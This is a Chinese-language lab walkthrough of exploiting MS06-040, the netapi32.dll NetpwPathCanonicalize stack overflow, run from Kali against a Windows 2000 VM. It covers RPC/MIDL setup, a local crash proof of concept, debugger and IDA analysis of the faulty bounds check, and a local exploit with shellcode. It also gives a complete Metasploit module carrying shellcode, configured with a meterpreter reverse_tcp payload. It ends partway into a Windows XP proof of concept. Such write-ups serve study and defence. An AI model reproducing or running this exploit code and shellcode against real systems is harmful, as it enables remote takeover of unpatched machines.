RPC入侵:MS06-040

[toc]

RPC 漏洞

RPC 漏洞简介

RPC 即 Remote Procedure Call,它是一种计算机进程间的通信方式。简单地说,RPC 就是让您在自己地程序中调用一个函数(可能需要很大地计算量),而这个函数在另外一个或多个远程机器上执行,执行完后将结果传回您的机器进行后续操作。

RPC漏洞,远程调用函数出现了问题,甚至有可被利用的安全漏洞。

RPC编程简介

在 VC 中进行 RPC 调用的流程如下图所示。

image-20220713220518781

使用 RPC 调用时首先应当定义远程进程的接口 IDL 文件。 IDL( Interface Description Language)是专门用来定义接口的语言,在这个文件里我们要指定 RPC 的接口信息以及 interface 下的 function 信息,包括函数的声明,参数等。

微软的 IDL 叫做 MIDL, 是兼容 IDL 标准的。定义好的 IDL 文件接口经过微软的 MIDL 编译器编译后会生成 3 个文件,一个客户端 stub(有些文献把 stub 翻译成“插桩”或“码桩”),一个服务端 stub,还有一个 RPC 调用的头文件。其中 stub 负责 RPC 调用过程中所有的网络操作细节。

在本章中将会用到 MS06-040 所需的接口文件,您可在看雪相关板块中下载附件。用 MIDL 编译接口文件rpc_exploit_040.acf 和 rpc_exploit_040.idl,得到 stub 文件和头文件。MIDL 编译器在 VC6.0 的组件里,可以在命令行下使用:

midl /acf rpc_exploit_040.acf rpc_exploit_040.idl

编译成功后,会在当前路径生成 3 个文件: ( 1) rpc_exploit_040_s.c RPC 服务端 stub(桩) ( 2) rpc_exploit_040_c.c R PC 客户端 stub(桩) ( 3) rpc_exploit_040.h RPC 头文件

把两个 stub 添加进工程, include 头文件,和调用远程函数的程序一起 link,您就可以试着 去调用远程主机上的函数了。

MS06-040

MS06-040 简介

MS06-040 是这个漏洞的微软编号,其 CVE 编号为 CVE-2006-3439,对应补丁号为KB921883。

几乎所有使用 socket 网络的程序都会加载负责网络操作的 netapi32.dll。 MS06-040 指的就是这个动态链接库中的导出函数 NetpwPathCanonicalize() 中存在的缓冲溢出缺陷,而NetpwPathCanonicalize() 函数又可以被 RPC 远程调用,所以才会有这么大的危害。

动态调试

NetpwPathCanonicalize()是 netapi32.dll 的一个导出函数,用于格式化网络路径字符串,它的原型如下:

int NetpwPathCanonicalize (
	uint16      path[ ],            //[in]      path name
	uint8       can_path[ ],        //[out]     canonicalizedpath
	uint32      maxbuf,             //[in]      max size of can_path
	uint16      prefix[ ],          //[in]      path prefix
	uint32*     pathtype,           //[in out]  path type
	uint32      pathflags           //[in]      path flags, 0 or 1
);

这是一个 Unicode 字符串处理函数,大体功能是:如果 prefix 串非空,将 prefix 串与 path串用‘ \’相连,并复制到输出串 can_path 中,输出串的容量为 maxbuf 字节大小:

prefix + ‘\’ + path => can_path [max_buf]

在路径合并过程中,函数会做各种检查,如 prefix 或 path 长度是否越界、是否符合路径规范,或 can_path 的容量是否够大等等,否则函数将退出,并返回相应的错误号,例如,ERROR_INVALID_NAME ( 0x7B ), ERROR_INVALID_PARAMETER ( 0x135 ),NERR_BufTooSmall( 0x84B)等;函数成功则返回 0,并对 pathtype 进行更新。

首先在本地直接装载有漏洞的动态链接库,并调用这个函数,等到弄清楚栈中的细节之后,再实践远程利用。

触发这个漏洞的 POC 如下:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

这段代码的功能是装载存在漏洞的 netapi32.dll,并调用其导出函数 NetpwPathCanonicalize。在函数调用时我们将 path 和 prefix 设置成很长的字符串,用以触发栈溢出。注意这个字符串以两个字节的 null 结束,这是因为 NetpwPathCanonicalize 将按照 Unicode 来处理字符串。

memset()函数,将缓冲区设置为指定字符。

推荐的环境备 注
操作系统winXP SP3本地调试与操作系统版本无关
漏洞文件netapi32.dll在没有 patch 过 KB921883 的 Window 2000 操作系统中,该文件位于 c:\winnt\system32 下 ; 若操作系统已经被 patch , 可 以在 c:\winnt$NtUninstallKB921883$下找到该文件;您也可以在本章的附带资料中找到这个动态链接库文件
编译器VC++ 6.0
编译选项默认编译选项
build 版本Release 版本debug 版本在调试时可能会有细节上的差异

注意: 需要未打补丁的netapi32.dll,Windows 2000在C:\WINNT\system32目录下能找到,或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。本实验指导的调试基于使用的漏洞文件大小为 309008 字节,您可以在本章附带的电子资料中找到这个文件,请您在编译运行 POC 代码时将这个漏洞文件放在工程的相同路径下。

netapi32.dll 下载链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq

定位程序崩溃点

编译运行后,系统会提示出错,直接点调试。进入OD后,按 F9 运行到程序崩溃处,可以看到 EBP 和 EIP 都被覆盖为 “aaaa”。

image-20220714123823178

重新加载程序,调试来到 call netapi32.NetpwPathCanonicalize 处。

image-20220714124834735

进入 NetpwPathCanonicalize() 函数体后,按 “F8” 键继续单步跟踪。程序将在另一次函数调用时崩溃。

image-20220714132056431

重新加载,“F7” 继续跟进,最后发现,在函数返回前 pop ebx 中,向栈中压入了大量 b 充当无效数据,导致在 retn 时,返回地址错误,发生崩溃。

image-20220714125708003

构造exploit

反复跟踪后溢出函数后,发现这段程序首先将 prefix 所指的字符串“ bbbbbb……” 复制到栈中,然后在这个字符串后加上 Unicode 字符“\”( 0x5C00),再将 path 中的长字符串“ aaaa……”连接在末尾,而正是连接 path 串的 wcscat 调用触发了漏洞。

image-20220714133733738

程序“跑飞”之前的系统状态。 ( 1) prefix 串中包含了 0xFE 个字符‘b’( 0x62),被复制到栈帧中开始于 0x0012F240 处的缓冲区。 ( 2)程序在 prefix 的末尾连接上 Unicode 字符‘ \’( 0x005C)。 ( 3)程序在‘ \’后连接 0x31E 个字符‘ a’( 0x61),这次字符串连接操作造成了栈帧溢出,位于 0x0012F654 处的 EBP 及紧随其后的返回地址都被改写。(图26.2.6地址与本次实验地址不同)

image-20220717224801801

ECX 在函数返回时总是指向栈中缓冲区,因此我们可以把 shellcode 放在 prefix 串中,并采用JMP ECX 作为定位 shellcode 的跳板。用 OllyDbg 在内存中搜索指令 JMP ECX。

image-20220714152047332

用 netapi32.dll 自身代码空间中 0x751852F9 处的 CALL ECX 作为跳转指令。

布置缓冲区如下。 ( 1)缓冲区中的内容为: (prefi x:bbb …) +( \) +( path: aaa…)。 ( 2)目前 prefix 串大小为 0x100( 256)字节,除去两个字节 null 作为结束符, 254 字节基本能够容纳 shellcode。 ( 3)缓冲区起址: 0x0012F240。 ( 4) EBP 位置: 0x0012F654。 ( 5)返回地址: 0x0012F240。 ( 6)返回地址距离缓冲区的偏移为: 0x0012F654-0x0012F240=0x418,去掉 prefix 和 ‘ \’ 的影响, path 串偏移 0x418-0x100=0x318 处的 DWORD 将淹没返回地址,在那里填入跳转地址即可执行 shellcode。

仍然使用弹出“ failwest”消息框的 shellcode 进行测试,最终的本地溢出利用代码如下:

#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);

char shellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll"; // care for the path
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'a',sizeof(prefix)-2);
    memcpy(prefix,shellcode,168);
    path[0x318]=0xF9;// address of CALL ECX
    path[0x319]=0x52;
    path[0x31A]=0x18;
    path[0x31B]=0x75;
    (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
    FreeLibrary(LibHandle);
}

编译运行,就能看到 failwest 消息框了。

image-20220714153344604

总结一下动态调试的思路。 ( 1)第一次调试看到 EIP 已经被改写为 0x61616161,证明传入的参数可以制造溢出并控制EIP,但堆栈被破坏,无法看到溢出前的函数调用。 ( 2)跟踪调试,找到 NetpwPathCanonicalize 的 VA 地址,直接对这个 VA 地址下断点。 ( 3)单步跟踪 NetpwPathCanonicalize 函数,观察寄存器的变化,发现是其中的一次函数调用引起的错误。 ( 4)第三次调试直接针对 NetpwPathCanonicalize 中引起错误的子函数,单步跟踪一轮后,彻底弄清楚栈中布局,编写本地 exploit。

静态分析

通过 IDA 加载 netapi32.dll,找到漏洞的缺陷代码,NetpwPathCanonicalize 函数中的 CanoicalizePathName 函数,如下图黄色框内。

image-20220714223348998

在动态调试时,我们已经知道产生溢出的函数实际上是 0x7517F856 处调用的的子函数 CanonicalizePathName(), prefix 串与 path 串的合并操作就位于其中,该函数的声明如下:

int CanonicalizePathName (
    uint16 	prefix[ ], 		// [in] path prefix
    uint16	path[ ], 		// [in] path name
    uint8 	can_path[ ], 	// [out] canonicalized path
    uint32 	maxbuf, 		// [in] max byte size of can_path
    uint32 	can_size 		// [in out] byte size of can_path
);

用 IDA 重点看一下这个函数:

; =============== S U B R O U T I N E ===============================
; int   stdcall CanonicalizePathName(wchar_t *, wchar_t *, wchar_t*, int, int)
7517FC68 CanonicalizePathName proc near
7517FC68
7517FC68 Buff_last_word  = word ptr -416h
7517FC68 Buff_OF         = word ptr -414h
7517FC68 arg_Prefix      = dword ptr  8
7517FC68 arg_Path        = dword ptr  0Ch
7517FC68 arg_CanPath     = dword ptr  10h
7517FC68 arg_Maxbuf      = dword ptr  14h
7517FC68 arg_CanSize     = dword ptr  18h
7517FC68
7517FC68 push   ebp
7517FC69 mov    ebp, esp
7517FC6B sub esp, 414h 	; 分配 0x414 字节栈空间,即 Buff_OF,用来
						; 存储合并路径(prefix+’\’+path)
7517FC71 push ebx
7517FC72 push esi
7517FC73 xor esi, esi
7517FC75 push edi
7517FC76 cmp [ebp+arg_Prefix], esi
7517FC79 mov edi, ds:__imp_wcslen
7517FC7F mov ebx, 411h 	; ebx 始终等于 0x411,用于检查越界(字节)
						; 长度
7517FC84 jz short @@prefix_ptr_zero
7517FC86 push [ebp+arg_Prefix]
7517FC89 call edi ; __imp_wcslen
                        ; 计算 prefix 串的 Unicode 长度,注意为字
                        ; 节长度的一半,这是导致边界检查被突破的根
                        ; 本原因,即用 Unicode 检查边界,而栈空间
                        ; 是按字节开的
7517FC8B mov esi, eax 	; esi 始终记录 prefix 串的 Unicode 长度
7517FC8D pop ecx
7517FC8E test esi, esi
7517FC90 jz short @@chk_pathname
7517FC92 cmp esi, ebx 	; prefix 是否大于 0x411
7517FC94 ja @@err_invalid_name
						; 若越界,则退出程序
7517FC9A push [ebp+arg_Prefix]
7517FC9D lea eax, [ebp+Buff_OF]
7517FCA3 push eax
7517FCA4 call ds:__imp_wcscpy
                        ; 将 prefix 串写入栈空间 Buff_OF 暂存。虽然前
                        ; 面的边界检查有缺陷,似乎实际可以传入的 prefix
                        ; 串可以达到 0x822 字节,但是在传入本函数前,
                        ; prefix 串已被 NetpwPathType()检查过,其长度
                        ; 不能超过 0x206 字节,所以光靠这里的检查缺陷
                        ; 还不足以通过 prefix 串制造溢出
7517FCED @@prefix_ptr_zero:
7517FCED mov [ebp+Buff_OF], si
7517FCF4 @@chk_pathname:
7517FCF4 push [ebp+arg_Path]
7517FCF7 call edi ; __imp_wcslen
						; 计算 path 串的 Unicode 长度
7517FCF9 add eax, esi 	; 合并前,计算合并路径(prefix+’\’+path)的
						; Unicode 长度
7517FCFB pop ecx
7517FCFC cmp eax, ebx 	; 第二次边界检查,仍然将 Unicode 字符长度与
						; 字节长度 0x411 进行比较
7517FCFE ja short @@err_invalid_name
                        ; 从前面的分析可以知道,只靠 prefix 串是无法
                        ; 制造溢出的,但是 path 串的传入没有任何限制,
                        ; 所以可以通过增加 path 串的长度溢出。栈空间
                        ; 为 0x414,我们实际可以传入的串总长可以达到
                        ; 或或超过 0x828
7517FD00 push [ebp+arg_Path]
7517FD03 lea eax, [ebp+Buff_OF]
7517FD09 push eax
7517FD0A call ds:__imp_wcscat 	; 将 path 串继续连入 Buff_OF,生成最终
                                ; 的合并路径,这个调用导致了最终的栈溢出
7517FD3E @@err_invalid_name:
7517FD3E push ERROR_INVALID_NAME
7517FD40 pop eax
7517FD41 jmp short @@quit
7517FD7A @@quit:
7517FD7A pop edi
7517FD7B pop esi
7517FD7C pop ebx
7517FD7D leave
7517FD7E retn 14h
7517FD7E CanonicalizePathName endp
; =============== S U B R O U T I N E ===============================

两次边界检查的限制都是 Unicode 长度不能超过 0x411,换算成字节长度就是 0x822,而栈空间的大小是按字节开的 0x414。按照 ASCII 字符开辟空间,按照 Unicode 字符来检查边界是漏洞的根本原因。 依据以上的溢出原理,只要设计好 prefix 串和 path 串的长度,调用 NetpwPath Canonicalize 函数即可发生栈溢出。

实现远程 exploit

进行 RPC 调用的代码框架:

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
 
    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB::Client                     
end
	def initialize(info = {})
        super(update_info(info,
            'Name'     => 'MS06-040 Remote overflow POC ',
            'Platform'  => 'win',
            'Targets'   => [['Windows 2000 SP0',
                    {'Ret' => [0x318, 0x74FB62C3]}
                    ]]
        	))
		register_options([OptString.new(
							'SMBPIPE',
                            [true,"(BROWSER, SRVSVC)", 'BROWSER']
                            ),],
                       	self.class)
end #end of initialize
    def exploit
        connect()
        smb_login()
        handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188',
                        '3.0', 'ncacn_np',  ["\\#{datastore['SMBPIPE']}"])
        dcerpc_bind(handle)
        prefix = ......
        path = ......
        stub =NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString('') +
            NDR.UnicodeConformantVaryingStringPreBuilt(path) +
            NDR.long(rand(0xf0)+1) +
            NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
            NDR.long(rand(0xf0)+1) +
            NDR.long(0)
        dcerpc.call(0x1f, stub) # call NetpwPathCanonicalize()
        disconnect
        
	end #end of exploit def
end

我们只需要关注 path 串和 prefix 串的内容,在恰当的位置布置特定的内容, MSF 和远程的主机会自动按照 RPC 协议为我们完成网络握手、参数解析、函数定位等工作。

攻击代码:

class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB::Client                      # 主要就是上面这几行,还有最后一行多了一个end
    def initialize(info = {})
        super(update_info(info,
            'Name'   => 'MS06-040 Remote overflow POC ',
            'Platform' => 'win',
            'Targets'  => [['Windows 2000 SP0',
                            {'Ret' => [0x318 , 0x74FB62C3]}
                           ]]
             ))
        register_options([OptString.new(
                                'SMBPIPE',
                                [true,"(BROWSER, SRVSVC)", 'BROWSER']
                                ),],
                         self.class) 
    end #end of initialize
    def exploit
        connect()
        smb_login()
        handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188',
                              '3.0',  'ncacn_np',  ["\\#{datastore['SMBPIPE']}"])
        dcerpc_bind(handle)
        prefix = "\x8B\xC1\x83\xC0\x05\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64"+
            "\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B"+
            "\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73"+
            "\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B"+
            "\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47"+
            "\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A"+
            "\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59"+
            "\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E"+
            "\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB"+
            "\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50"+
            "\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C"+
            "\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56"+
            "\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00"
        path = "\x90" * 0x318 + [target['Ret'][1]].pack('V') + 
            "\x04\xD0\xFD\x7F" * 5 +    # writeable address
            "\x66\x81\xEC\x30\x04" +    # sub esp,430
            "\x8B\xC4" +             # mov eax, esp
            "\xFF\xE4" +            # jmp esp
            "\x00\x00"
        stub =NDR.long(rand(0xffffffff)) +
             NDR.UnicodeConformantVaryingString('') +
             NDR.UnicodeConformantVaryingStringPreBuilt(path) +
             NDR.long(rand(0xf0)+1) +
             NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
             NDR.long(rand(0xf0)+1) +
             NDR.long(0)    
        dcerpc.call(0x1f, stub) # call NetpwPathCanonicalize()
        disconnect    
    end  #end of exploit def
end

配置

攻击机:kali

IP地址:192.168.188.141

靶机:Windows2000 sp4

IP地址:192.168.188.133

准备

首先确定靶机开启的端口:

┌──(host㉿kali)-[~]
└─$ sudo nmap --allports -O 192.168.188.133                                                                               
[sudo] host 的密码:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-15 21:22 CST
Nmap scan report for 192.168.188.133
Host is up (0.00030s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1723/tcp open  pptp
MAC Address: 00:0C:29:97:7A:5F (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp::sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.64 seconds

可以看到打开了445端口。

最后的配置:

msf6 exploit(rgzz/ms06_040) > show options

Module options (exploit/rgzz/ms06_040):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.188.133  yes       The target host(s), see https://gith
                                       ub.com/rapid7/metasploit-framework/w
                                       iki/Using-Metasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh,
                                        thread, process, none)
   LHOST     192.168.188.141  yes       The listen address (an interface ma
                                        y be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2000 SP0

用上面给出的代码,结果出错了,导致了靶机关机。

image-20220716170814837

调试 service.exe

将OD附加到services上,然后在NetpwPathCanonicalize(0x75107AFD)上下一个断点,F9继续执行。

回到攻击机上,执行exploit,再回到靶机,发现并没有在 NetpwPathCanonicalize 停下,而是直接提示关机,这样就无法进行后续调试了。不知道是不是漏洞已经被修补的缘故。上面的本地实验中,我用的也是本书资料中提供的netapi32.dll。

Windows XP 环境下的 MS06—040 exploit

静态分析

选取 Windows XP SP3 的 netapi32.dll,对其 CanonicalizePathName 函数做静态分析。

; =============== S U B R O U T I N E =======================================
; int __stdcall CanonicalizePathName(wchar_t*, wchar_t *, wchar_t *, int, int)
71BA428B CanonicalizePathName proc near
71BA428B
71BA428B Buff_last_word = word ptr -416h
71BA428B Buff_OF = word ptr -414h
71BA428B arg_Prefix = dword ptr 8
71BA428B arg_Path = dword ptr 0Ch
71BA428B arg_CanPath = dword ptr 10h
71BA428B arg_Maxbuf = dword ptr 14h
71BA428B arg_CanSize = dword ptr 18h
71BA428B
71BA428B push ebp
71BA428C mov ebp, esp
71BA428E sub esp, 414h 				; 依然分配了 0x414 字节栈空间,即 Buff_OF,
									; 用来存储合并路径(prefix+’\’+path)
71BA4294 push ebx
71BA4295 mov ebx, ds:__imp_wcscat
71BA429B push esi
71BA429C xor esi, esi
71BA429E cmp [ebp+arg_Prefix], esi 	; prefix 指针是否为 0
71BA42A1 push edi
71BA42A2 mov edi, ds:__imp_wcslen
71BA42A8 jnz @@prefix_ptr_not_zero
									; 若 prefix 非 0,跳转至@@prefix_ptr_not_zero
71BA42AE mov [ebp+Buff_OF], si 		; 若 prefix 为 0,初始化 Buff_OF 为空串
71BA42B5 @@chk_pathname:
71BA42B5 push [ebp+arg_Path]
71BA42B8 call edi 					; __imp_wcslen ; 计算 path 串的 Unicode 长度
71BA42BA add eax, esi				; 计算合并路径长度
71BA42BC cmp eax, 207h 				; 对合并路径长度做越界检查,请注意,这里已经将
                        			; 字节长度除 2,转化为 unicode 长度 0x207,而
                        			; 在 Windows 2000 中,这个值是 0x411,没有做
                        			; 转化,可见 Windows XP 的溢出另有原因!
71BA42C1 pop ecx
71BA42C2 ja @@err_invalid_name
71BA42C8 push [ebp+arg_Path]
71BA42CB lea eax, [ebp+Buff_OF]
71BA42D1 push eax
71BA42D2 call ebx ; __imp_wcscat 	; 将 Buff_OF(prefix+’\’)与 path 串合并
									; 得到合并路径
71BA4317 lea eax, [ebp+Buff_OF]
71BA431D push eax
71BA431E call edi 					; __imp_wcslen ; 计算合并路径 Unicode 长度
71BA4320 lea eax, [eax+eax+2] 		; 将 Unicode 长度转化为字节长度并加上结尾
									; 的两个空字节
71BA4324 cmp eax, [ebp+arg_Maxbuf] 	; 检查 can_path 的容量 maxbuf,是否可以
									; 可以容纳合并路径
71BA4327 pop ecx
71BA4328 ja @@err_buf_too_small 	; 若 can_path 空间不够,退出
71BA432E lea eax, [ebp+Buff_OF]
71BA4334 push eax
71BA4335 push [ebp+arg_CanPath]
71BA4338 call ds:__imp_wcscpy		; 将合并路径复制 Buff_OF 至 can_path
71BA433E pop ecx
71BA433F pop ecx
71BA4340 xor eax, eax 				; 路径合并成功,返回 0
71BA4342 @@quit:
71BA4342 pop edi
71BA4343 pop esi
71BA4344 pop ebx
71BA4345 leave
71BA4346 retn 14h
71BA4349 @@err_invalid_name:
71BA4349 push ERROR_INVALID_NAME
71BA434B pop eax
71BA434C jmp short @@quit
71BA434C CanonicalizePathName endp
71BB0E2D @@prefix_ptr_not_zero:
71BB0E2D push [ebp+arg_Prefix]
71BB0E30 call edi 					; __imp_wcslen
71BB0E32 mov esi, eax 				; esi 存储 prefix 串的 unicode 长度
71BB0E34 test esi, esi 				; 检查 prefix 串长度是否为 0,即空串
71BB0E36 pop ecx
71BB0E37 jz @@chk_pathname 			; 如果 prefix 为空串,则跳至
                                    ; @@chk_pathname,请注意,如果代码
                                    ; 流程走到这里, Buff_OF 始终是没有初
                                    ; 始化的!这是 MS06-040 的另一个溢出点
71BB0E3D cmp esi, 208h 				; 如果 prefix 串非空,其 Unicode 长度
									; 不能超过 0x208,否则退出
71BB0E43 ja @@err_invalid_name
71BB0EA9 @@err_buf_too_small:
71BB0EA9 mov ecx, [ebp+arg_CanSize]
71BB0EAC test ecx, ecx
71BB0EAE jz short @@err_buf_too_small2
71BB0EB0 mov [ecx], eax
71BB0EB2 @@err_buf_too_small2:
71BB0EB2 mov eax, NERR_BufTooSmall
71BB0EB7 jmp @@quit
; =============== S U B R O U T I N E =======================================

从上面的第 31 行中可以看到,上一个实验中 cmp eax,411 已经被修补,无法在利用。不过,通过进一步静态分析,可以发现 CanonicalizePathName 函数在分配了栈空间 Buff_OF 后,没有进行初始化;如果 prefix 指针为 0,代码会对 Buff_OF 做初始化(见 0x71BA42AE);而如果 prefix 非 0,并指向空字串,代码将直接对未初始化的 Buff_OF 和 path 串用 wcscat 函数进行连接(见 0x71BA42B5-0x71BA42D2)。这是一个非常危险的操作,因为未初始化的栈空间 Buff_OF 的长度是未知的,甚至可能超过 0x414 字节,其后再连接上 path 串,很有可能产生溢出。

由于 Buff_OF 位于栈中,内容随机,怎样控制它的长度,是如何利用这个漏洞的重点。我们可以通过连续调用 CanonicalizePathName 函数来控制它的长度。 因为当 Buff_OF 被首次填充并连接,直到 CanonicalizePathName 函数退出后,其所在的栈空间位于 ESP 的低地址,如果不做任何栈操作,如函数调用等,内容是不会改变的;此时,如果再次调用 CanonicalizePathName,已经被填充的 Buff_OF 将面临溢出的风险。

CanonicalizePathName 是 NetpwPathCanonicalize 的子函数,不能直接被调用。分析一下函数 NetpwPathCanonicalize 是如何调用 CanonicalizePathName 的。

...
71BA421A mov esi, [ebp+arg_CanPath]
71BA421D push edi
71BA421E push [ebp+arg_Maxbuf]
71BA4221 mov [esi], di
71BA4224 push esi
71BA4225 push [ebp+arg_Path]
71BA4228 push ebx
71BA4229 call CanonicalizePathName
71BA422E cmp eax, edi 					; 检查函数 CanonicalizePathName 的返回值
71BA4230 jnz short @@quit 				; 非 0 则直接退出
71BA4232 push edi
71BA4233 push [ebp+arg_Pathtype]
71BA4236 push esi
71BA4237 call NetpwPathType
71BA423C jmp short @@quit
...
; =============== S U B R O U T I N E =======================================
; int __stdcall NetpwPathCanonicalize(wchar_t *, wchar_t *, int, int, int, int)
71BA4244 public NetpwPathCanonicalize
71BA4244 NetpwPathCanonicalize proc near
71BA4244
71BA4244 arg_Path = dword ptr 8
71BA4244 arg_CanPath = dword ptr 0Ch
71BA4244 arg_Maxbuf = dword ptr 10h
71BA4244 arg_Prefix = dword ptr 14h
71BA4244 arg_Pathtype = dword ptr 18h
71BA4244 arg_Pathflags = dword ptr 1Ch
...
71BA4284 @@quit
71BA4284 pop edi
71BA4285 pop esi
71BA4286 pop ebx
71BA4287 pop ebp
71BA4288 retn 18h
71BA4288 NetpwPathCanonicalize endp
...

如果能够使 CanonicalizePathName 调用失败(返回值非 0),NetpwPathCanonicalize 将直接退出,从而保证 Buff_OF 所在的栈空间不发生变化。由于参数 maxbuf 是可控的,我们可 以 利 用 较 小 的 maxbuf , 使 CanonicalizePathName 返 回 NERR_BufTooSmall (参看 0x71BA4317-0x71BA4328)而直接退出。

MS06-040 在 Windows XP 下溢出的 POC 代码:

#include <windows.h>
typedef void (__stdcall * MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
#define PATH1_SIZE (0xc2*2)
#define PATH2_SIZE (0x150*2)
#define OUTBUF_SIZE 0x440
#define PREFIX_SIZE 0x410

int main()
{
    char PathName1[PATH1_SIZE];
    char PathName2[PATH2_SIZE];
    char Outbuf[OUTBUF_SIZE];
    int OutbufLen=OUTBUF_SIZE;
    char Prefix1[PREFIX_SIZE];
    char Prefix2[PREFIX_SIZE];
    long PathType1=44;
    long PathType2=44;
    
    //load vulnerability netapi32.dll which we got from a WINXP sp0 host
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    
    // fill PathName
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,0,sizeof(PathName1));
